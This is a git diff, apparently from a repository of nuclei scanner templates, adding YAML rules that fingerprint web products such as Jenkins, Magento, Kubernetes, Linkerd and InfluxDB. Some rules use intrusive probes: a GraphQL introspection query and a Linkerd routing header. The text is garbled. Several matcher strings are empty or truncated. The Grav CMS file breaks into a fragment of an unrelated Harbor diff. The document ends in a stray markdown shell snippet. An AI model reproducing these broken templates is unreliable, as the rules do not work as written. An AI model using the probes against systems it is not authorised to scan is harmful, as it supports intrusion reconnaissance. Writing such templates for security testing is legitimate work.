+ redirects: true
+ max-redirects: 1
+
+ matchers-condition: and
+ matchers:
+ - type: regex
+ regex:
+ - ".*?(f|F)(i|I)(r|R)(e|E)(b|B)(a|A)(s|S)(e|E)(i|I)(o|O)[.](c|C)(o|O)(m|M).*?"
+ part: body
\ No newline at end of file
diff --git a/technologies/froxlor-detect.yaml b/technologies/froxlor-detect.yaml
new file mode 100644
index 0000000000..a3d3a441ab
--- /dev/null
+++ b/technologies/froxlor-detect.yaml
@@ -0,0 +1,24 @@
+id: froxlor-detect
+
+info:
+ name: Froxlor Detect
+ author: pikpikcu
+ severity: info
+ tags: tech,froxlor
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+
+ - type: word
+ part: body
+ words:
+ - "Froxlor Server Management Panel "
+
+ - type: status
+ status:
+ - 200
diff --git a/technologies/gespage-detect.yaml b/technologies/gespage-detect.yaml
new file mode 100644
index 0000000000..f64facbc02
--- /dev/null
+++ b/technologies/gespage-detect.yaml
@@ -0,0 +1,24 @@
+id: gespage-detect
+
+info:
+ name: Gespage Detect
+ author: pikpikcu
+ severity: info
+ tags: tech,gespage
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/gespage/webapp/login.xhtml"
+
+ matchers-condition: and
+ matchers:
+
+ - type: word
+ part: body
+ words:
+ - "Login utilisateur Gespage "
+
+ - type: status
+ status:
+ - 200
diff --git a/technologies/getsimple-cms-detector.yaml b/technologies/getsimple-cms-detector.yaml
new file mode 100644
index 0000000000..95ed07e8c1
--- /dev/null
+++ b/technologies/getsimple-cms-detector.yaml
@@ -0,0 +1,22 @@
+id: getsimple-cms-detector
+
+info:
+ name: GetSimple CMS Detector
+ author: philippedelteil
+ severity: info
+ description: With this template we can detect a running GetSimple CMS instance
+ tags: getsimple,tech
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/readme.txt"
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - 'GetSimple CMS is a flatfile CMS'
+ - type: status
+ part: header
+ status:
+ - 200
diff --git a/technologies/google-bucket-service.yaml b/technologies/google-bucket-service.yaml
new file mode 100644
index 0000000000..f8fe51f476
--- /dev/null
+++ b/technologies/google-bucket-service.yaml
@@ -0,0 +1,25 @@
+id: google-bucket-service
+
+info:
+ name: Detect websites using Google bucket storage
+ author: pdteam
+ severity: info
+ tags: google,tech
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: dsl
+ dsl:
+ - contains(tolower(all_headers), 'x-goog-component-count')
+ - contains(tolower(all_headers), 'x-goog-expiration')
+ - contains(tolower(all_headers), 'x-goog-generation')
+ - contains(tolower(all_headers), 'x-goog-metageneration')
+ - contains(tolower(all_headers), 'x-goog-stored-content-encoding')
+ - contains(tolower(all_headers), 'x-goog-stored-content-length')
+ - contains(tolower(all_headers), 'x-guploader-uploadid')
+ part: header
+ condition: or
\ No newline at end of file
diff --git a/technologies/graphql.yaml b/technologies/graphql-detect.yaml
similarity index 93%
rename from technologies/graphql.yaml
rename to technologies/graphql-detect.yaml
index eafbfe26f2..399e476c60 100644
--- a/technologies/graphql.yaml
+++ b/technologies/graphql-detect.yaml
@@ -1,8 +1,8 @@
-id: graphql
+id: graphql-detect
info:
- name: GraphQL API
- author: NkxxkN & ELSFA7110
+ name: GraphQL API Detection
+ author: NkxxkN,ELSFA7110
severity: info
requests:
@@ -30,8 +30,6 @@ requests:
- "{{BaseURL}}/graphql-devtools"
- "{{BaseURL}}/graphql/v1"
- "{{BaseURL}}/v1/graphql"
- - "{{BaseURL}}/lol/graphql"
- - "{{BaseURL}}/lol/graphql/v1"
- "{{BaseURL}}/api/graphql/v1"
- "{{BaseURL}}/portal-graphql"
- "{{BaseURL}}/graphql-playground"
@@ -51,6 +49,7 @@ requests:
headers:
Content-Type: application/json
+
body: '{"query":"query IntrospectionQuery{__schema {queryType { name }}}"}'
matchers-condition: and
@@ -58,8 +57,10 @@ requests:
- type: status
status:
- 200
+
- type: regex
regex:
- "__schema"
- "(Introspection|INTROSPECTION|introspection).*?"
- ".*?operation not found.*?"
+ condition: or
\ No newline at end of file
diff --git a/technologies/grav-cms-detect.yaml b/technologies/grav-cms-detect.yaml
new file mode 100644
index 0000000000..ad25f0365a
--- /dev/null
+++ b/technologies/grav-cms-detect.yaml
@@ -0,0 +1,27 @@
+id: grav-cms-detect
+
+info:
+ name: Grav CMS Detect
+ author: cyllective
+ severity: info
+ description: Detects Grav CMS
+ tags: tech,grav,cms
+ references: https://github.com/getgrav/grav
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: or
+ matchers:
+
+ - type: word
+ part: header
+ words:
+ - 'Set-Cookie: grav-site-'
+
+ - type: word
+ part: body
+ words:
+ - 'Harbor "
part: body
- type: status
diff --git a/technologies/herokuapp-detect.yaml b/technologies/herokuapp-detect.yaml
new file mode 100644
index 0000000000..66941b4a2c
--- /dev/null
+++ b/technologies/herokuapp-detect.yaml
@@ -0,0 +1,19 @@
+id: herokuapp-detect
+
+info:
+ name: Detect websites using Herokuapp endpoints
+ author: alifathi-h1
+ severity: info
+ tags: heroku,tech
+ description: Detected endpoints might be vulnerable to subdomain takeover or disclose sensitive info
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - "[a-z0-9.-]+\\.herokuapp\\.com"
diff --git a/technologies/ilo-detect.yaml b/technologies/ilo-detect.yaml
new file mode 100644
index 0000000000..70f0fc1e8d
--- /dev/null
+++ b/technologies/ilo-detect.yaml
@@ -0,0 +1,36 @@
+id: ilo-detect
+
+info:
+ name: HP iLO
+ author: milo2012
+ severity: info
+ description: Version of HP iLO
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/xmldata?item=all"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - text/xml
+ part: header
+
+ - type: word
+ words:
+ -
+ -
+ condition: and
+
+ extractors:
+ - type: regex
+ part: body
+ group: 1
+ regex:
+ - "([0-9.]+) "
diff --git a/technologies/influxdb-detect.yaml b/technologies/influxdb-detect.yaml
new file mode 100644
index 0000000000..7a9538b3aa
--- /dev/null
+++ b/technologies/influxdb-detect.yaml
@@ -0,0 +1,24 @@
+id: influxdb-detect
+
+info:
+ name: InfluxDB Detect
+ author: pikpikcu
+ severity: info
+ tags: tech,influxdb
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+
+ - type: word
+ part: body
+ words:
+ - "InfluxDB - Admin Interface "
+
+ - type: status
+ status:
+ - 200
diff --git a/technologies/itop-detect.yaml b/technologies/itop-detect.yaml
new file mode 100644
index 0000000000..daf68e81e2
--- /dev/null
+++ b/technologies/itop-detect.yaml
@@ -0,0 +1,24 @@
+id: itop-detect
+
+info:
+ name: iTop Detect
+ author: pikpikcu
+ severity: info
+ tags: tech,itop
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/pages/UI.php"
+
+ matchers-condition: and
+ matchers:
+
+ - type: word
+ part: body
+ words:
+ - "iTop login "
+
+ - type: status
+ status:
+ - 200
diff --git a/technologies/jeedom-detect.yaml b/technologies/jeedom-detect.yaml
new file mode 100644
index 0000000000..4154e6b7d0
--- /dev/null
+++ b/technologies/jeedom-detect.yaml
@@ -0,0 +1,24 @@
+id: jeedom-detect
+
+info:
+ name: Jeedom Detect
+ author: pikpikcu
+ severity: info
+ tags: tech,jeedom
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/index.php?v=d"
+
+ matchers-condition: and
+ matchers:
+
+ - type: word
+ part: body
+ words:
+ - "Jeedom "
+
+ - type: status
+ status:
+ - 200
diff --git a/technologies/jellyfin-detect.yaml b/technologies/jellyfin-detect.yaml
new file mode 100644
index 0000000000..ae031c20ca
--- /dev/null
+++ b/technologies/jellyfin-detect.yaml
@@ -0,0 +1,27 @@
+id: jellyfin-detect
+
+info:
+ name: Jellyfin detected
+ author: dwisiswant0
+ severity: info
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/home.html"
+ - "{{BaseURL}}/web/home.html"
+ - "{{BaseURL}}/index.html"
+ - "{{BaseURL}}/web/index.html"
+ - "{{BaseURL}}/web/manifest.json"
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "name=\"application-name\" content=\"Jellyfin\""
+ - "class=\"page homePage libraryPage allLibraryPage backdropPage pageWithAbsoluteTabs withTabs\""
+ - "The Free Software Media System"
+ condition: or
+ part: body
+ - type: status
+ status:
+ - 200
diff --git a/technologies/jenkins-detect.yaml b/technologies/jenkins-detect.yaml
new file mode 100644
index 0000000000..4153223310
--- /dev/null
+++ b/technologies/jenkins-detect.yaml
@@ -0,0 +1,29 @@
+id: jenkins-detect
+
+info:
+ name: Jenkins detect (version)
+ author: philippdelteil
+ severity: info
+ tags: tech,jenkins
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "X-Jenkins"
+ part: header
+
+ - type: word
+ words:
+ - "Sign in [Jenkins] "
+ part: body
+
+ extractors:
+ - type: kval
+ part: header
+ kval:
+ - x_jenkins
diff --git a/technologies/jitsi-meet.yaml b/technologies/jitsi-meet.yaml
new file mode 100644
index 0000000000..745a2c98e6
--- /dev/null
+++ b/technologies/jitsi-meet.yaml
@@ -0,0 +1,22 @@
+id: jitsi-meet
+
+info:
+ name: Jitsi Meet Page
+ author: dhiyaneshDK
+ severity: info
+ reference: https://www.shodan.io/search?query=http.title%3A%22Jitsi+Meet%22
+ tags: tech
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Jitsi Meet "
+ - type: status
+ status:
+ - 200
diff --git a/technologies/jolokia.yaml b/technologies/jolokia.yaml
index c922719f06..f6b28ff6ad 100644
--- a/technologies/jolokia.yaml
+++ b/technologies/jolokia.yaml
@@ -2,7 +2,7 @@ id: jolokia-instance
info:
name: Jolokia Version Disclosure
- author: mavericknerd & dwisiswant0
+ author: mavericknerd,dwisiswant0
severity: info
requests:
diff --git a/technologies/jsf-detection.yaml b/technologies/jsf-detection.yaml
new file mode 100644
index 0000000000..f6ce2943b5
--- /dev/null
+++ b/technologies/jsf-detection.yaml
@@ -0,0 +1,22 @@
+id: jsf-detection
+
+info:
+ name: JavaServer Faces Detection
+ author: Moritz Nentwig
+ severity: info
+ description: Searches for JavaServer Faces content on a URL.
+ tags: jsf,tech
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ redirects: true
+ max-redirects: 2
+ matchers:
+ - type: word
+ words:
+ - "javax.faces.resource"
+ - "javax.faces.ViewState"
+ condition: or
diff --git a/technologies/kong-detect.yaml b/technologies/kong-detect.yaml
index 4807a5f322..6164d7c1cd 100644
--- a/technologies/kong-detect.yaml
+++ b/technologies/kong-detect.yaml
@@ -16,10 +16,10 @@ requests:
- type: regex
part: header
regex:
- - kong+
+ - "[Ss]erver: [Kk]ong+"
extractors:
- type: kval
part: header
kval:
- - Server
+ - server
diff --git a/technologies/kubernetes-version.yaml b/technologies/kubernetes-version.yaml
new file mode 100644
index 0000000000..70c746e925
--- /dev/null
+++ b/technologies/kubernetes-version.yaml
@@ -0,0 +1,21 @@
+id: kubernetes-version
+
+info:
+ name: Kubernetes Version Exposure
+ author: raesene
+ description: Searches for exposed Kubernetes API servers which return version information unauthenticated
+ severity: info
+ tags: tech,k8s,kubernetes,devops
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/version"
+
+ matchers:
+ - type: word
+ words:
+ - "gitVersion"
+ - "goVersion"
+ - "platform"
+ condition: and
diff --git a/technologies/landrayoa-detect.yaml b/technologies/landrayoa-detect.yaml
new file mode 100644
index 0000000000..250f0654c9
--- /dev/null
+++ b/technologies/landrayoa-detect.yaml
@@ -0,0 +1,27 @@
+id: landrayoa-detect
+
+info:
+ name: LandrayOA detect
+ author: YanYun
+ severity: info
+ tags: tech,landrayoa
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/login.jsp'
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+ - type: word
+ words:
+ - 'lui_login_input_username'
+ - 'lui_login_input_password'
+ condition: and
+ - type: word
+ words:
+ - 'isopen='
+ part: header
\ No newline at end of file
diff --git a/technologies/liferay-portal-detect.yaml b/technologies/liferay-portal-detect.yaml
index 136736d9fe..58d0894274 100644
--- a/technologies/liferay-portal-detect.yaml
+++ b/technologies/liferay-portal-detect.yaml
@@ -1,7 +1,7 @@
id: liferay-portal-detect
info:
name: Liferay Portal Detection
- author: organiccrap & dwisiswant0
+ author: organiccrap,dwisiswant0
severity: info
# CVE-2020-7961: Liferay Portal Unauthenticated RCE
# https://github.com/mzer0one/CVE-2020-7961-POC
diff --git a/technologies/lighttpd-default.yaml b/technologies/lighttpd-default.yaml
new file mode 100644
index 0000000000..b5ee2404d6
--- /dev/null
+++ b/technologies/lighttpd-default.yaml
@@ -0,0 +1,22 @@
+id: lighttpd-default
+
+info:
+ name: lighttpd Default Page
+ author: dhiyaneshDK
+ severity: info
+ reference: https://www.shodan.io/search?query=http.title%3A%22Powered+by+lighttpd%22
+ tags: tech
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Powered by lighttpd "
+ - type: status
+ status:
+ - 200
diff --git a/technologies/linkerd-service-detect.yaml b/technologies/linkerd-service-detect.yaml
new file mode 100644
index 0000000000..3060e058eb
--- /dev/null
+++ b/technologies/linkerd-service-detect.yaml
@@ -0,0 +1,32 @@
+id: linkerd-service-detect
+
+info:
+ name: Linkerd Service detection
+ author: dudez
+ severity: info
+ tags: tech,linkerd
+ reference: https://twitter.com/nirvana_msu/status/1084144955034165248
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ headers:
+ l5d-dtab: /svc/* => /$/inet/example.com/443
+
+ matchers-condition: or
+ matchers:
+ - type: regex
+ regex:
+ - '(?mi)^l5d-err:.*$'
+ - '(?mi)^l5d-success-class: 0.*$'
+ - '(?mi)^Via\s*?:.*?linkerd.*$'
+ part: header
+ condition: or
+
+ - type: regex
+ regex:
+ - '(?mi)Exceeded .*? binding timeout while resolving name'
+ - '(?mi)exceeded .*? to unspecified while dyn binding'
+ part: body
+ condition: or
\ No newline at end of file
diff --git a/technologies/lucee-detect.yaml b/technologies/lucee-detect.yaml
index e4cd2663f7..ae7e0c7860 100644
--- a/technologies/lucee-detect.yaml
+++ b/technologies/lucee-detect.yaml
@@ -4,6 +4,7 @@ info:
author: geeknik
description: Lucee Server is a dynamic, Java based (JSR-223), tag and scripting language used for rapid web application development -- https://github.com/lucee/Lucee/
severity: info
+ tags: tech,lucee
requests:
- method: GET
diff --git a/technologies/magento-detect.yaml b/technologies/magento-detect.yaml
new file mode 100644
index 0000000000..ee57eac989
--- /dev/null
+++ b/technologies/magento-detect.yaml
@@ -0,0 +1,33 @@
+id: magento-detect
+
+info:
+ name: Magento Detect
+ author: TechbrunchFR
+ severity: info
+ description: Identify Magento
+ tags: magento
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}'
+ - '{{BaseURL}}/graphql?query=+{customerDownloadableProducts+{+items+{+date+download_url}}+}'
+
+ # There might be a better way to do that, the idea of this check is that Magento might be behind some kind of proxy when
+ # consumed by a SPA/PWA app so we need a valid GraphQL query from Magento to check
+ # https://devdocs.magento.com/guides/v2.4/graphql/
+
+ matchers-condition: or
+ matchers:
+ - type: dsl
+ dsl:
+ - 'contains(tolower(all_headers), "x-magento")'
+ - 'status_code == 200'
+ condition: and
+
+ - type: dsl
+ dsl:
+ - 'contains(body, "graphql-authorization")'
+ - 'contains(body, "The current customer")'
+ - 'status_code == 200'
+ condition: and
diff --git a/technologies/magmi-detect.yaml b/technologies/magmi-detect.yaml
index 519ab9f47c..da4aa5c661 100644
--- a/technologies/magmi-detect.yaml
+++ b/technologies/magmi-detect.yaml
@@ -1,20 +1,23 @@
id: magmi-detect
info:
- name: "MAGMI (Magento Mass Importer) Plugin Detect"
- author: "dwisiswant0"
- severity: "info"
+ name: MAGMI (Magento Mass Importer) Plugin Detect
+ author: dwisiswant0
+ severity: info
+ tags: magento,magmi
requests:
- method: GET
path:
- "{{BaseURL}}/magmi/web/js/magmi_utils.js"
+
matchers-condition: and
matchers:
- type: word
words:
- "magmi_multifield"
part: body
+
- type: status
status:
- 200
\ No newline at end of file
diff --git a/technologies/maian-cart-detect.yaml b/technologies/maian-cart-detect.yaml
new file mode 100644
index 0000000000..53ccd7b681
--- /dev/null
+++ b/technologies/maian-cart-detect.yaml
@@ -0,0 +1,17 @@
+id: maian-cart-detect
+
+info:
+ name: Maian Cart Detection
+ author: pdteam
+ severity: info
+ tags: tech,maian
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/favicon.ico"
+
+ matchers:
+ - type: dsl
+ dsl:
+ - "status_code==200 && (\"-498581627\" == mmh3(base64_py(body)))"
\ No newline at end of file
diff --git a/technologies/mautic-crm-detect.yaml b/technologies/mautic-crm-detect.yaml
new file mode 100644
index 0000000000..23fab5db7c
--- /dev/null
+++ b/technologies/mautic-crm-detect.yaml
@@ -0,0 +1,31 @@
+id: mautic-crm-detect
+
+info:
+ name: mautic crm detect
+ author: cyllective
+ severity: info
+ description: Detects Mautic CRM
+ tags: tech,mautic,crm
+ references:
+ - https://github.com/mautic/mautic
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/s/login"
+
+ matcherscondition: or
+ matchers:
+ - type: word
+ part: body
+ condition: or
+ words:
+ - 'Mautic '
+ - ' 
+
+```sh
+git clone https://github.com/